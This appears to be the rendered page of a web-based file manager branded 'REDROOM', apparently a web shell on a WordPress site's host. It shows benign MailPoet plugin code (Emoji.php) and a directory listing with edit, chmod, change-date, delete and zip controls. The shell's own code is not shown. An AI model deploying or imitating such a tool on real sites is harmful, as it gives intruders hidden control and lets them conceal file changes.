REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 2.13 KB
Close
/home/nshryvcy/himaltourism.com/wp-content/plugins/mailpoet/lib/WP/Emoji.php
Text
Base64
<?php // phpcs:ignore SlevomatCodingStandard.TypeHints.DeclareStrictTypes.DeclareStrictTypesMissing namespace MailPoet\WP; if (!defined('ABSPATH')) exit; use MailPoet\WP\Functions as WPFunctions; class Emoji { /** @var WPFunctions */ private $wp; public function __construct( WPFunctions $wp = null ) { if ($wp === null) { $wp = new WPFunctions(); } $this->wp = $wp; } public function encodeEmojisInBody($newsletterRenderedBody) { if (is_array($newsletterRenderedBody)) { return array_map([$this, 'encodeRenderedBodyForUTF8Column'], $newsletterRenderedBody); } return $this->encodeRenderedBodyForUTF8Column($newsletterRenderedBody); } public function decodeEmojisInBody($newsletterRenderedBody) { if (is_array($newsletterRenderedBody)) { return array_map([$this, 'decodeEntities'], $newsletterRenderedBody); } return $this->decodeEntities($newsletterRenderedBody); } public function sanitizeEmojisInFormBody(array $body): array { $bodyJson = json_encode($body, JSON_UNESCAPED_UNICODE); $fixedJson = $this->encodeForUTF8Column(MP_FORMS_TABLE, 'body', $bodyJson); return json_decode($fixedJson, true); } private function encodeRenderedBodyForUTF8Column($value) { return $this->encodeForUTF8Column( MP_SENDING_QUEUES_TABLE, 'newsletter_rendered_body', $value ); } public function encodeForUTF8Column($table, $field, $value) { global $wpdb; $charset = $wpdb->get_col_charset($table, $field); if ($charset === 'utf8') { $value = $this->wp->wpEncodeEmoji($value); } return $value; } public function decodeEntities($content) { // Based on WPFunctions::get()->wpStaticizeEmoji() // Loosely match the Emoji Unicode range. $regex = '/(&#x[2-3][0-9a-f]{3};|[1-6][0-9a-f]{2};)/'; $matches = []; if (preg_match_all($regex, $content, $matches)) { if (!empty($matches[1])) { foreach ($matches[1] as $emoji) { $entity = html_entity_decode($emoji, ENT_COMPAT, 'UTF-8'); $content = str_replace($emoji, $entity, $content); } } } return $content; } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 8
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
AutocompletePostListLoader.php
3.28 KB
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
DateTime.php
2.72 KB
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Emoji.php
2.13 KB
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Functions.php
23.56 KB
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
index.php
0 B
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Notice.php
2.87 KB
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Posts.php
485 B
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Readme.php
1.19 KB
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).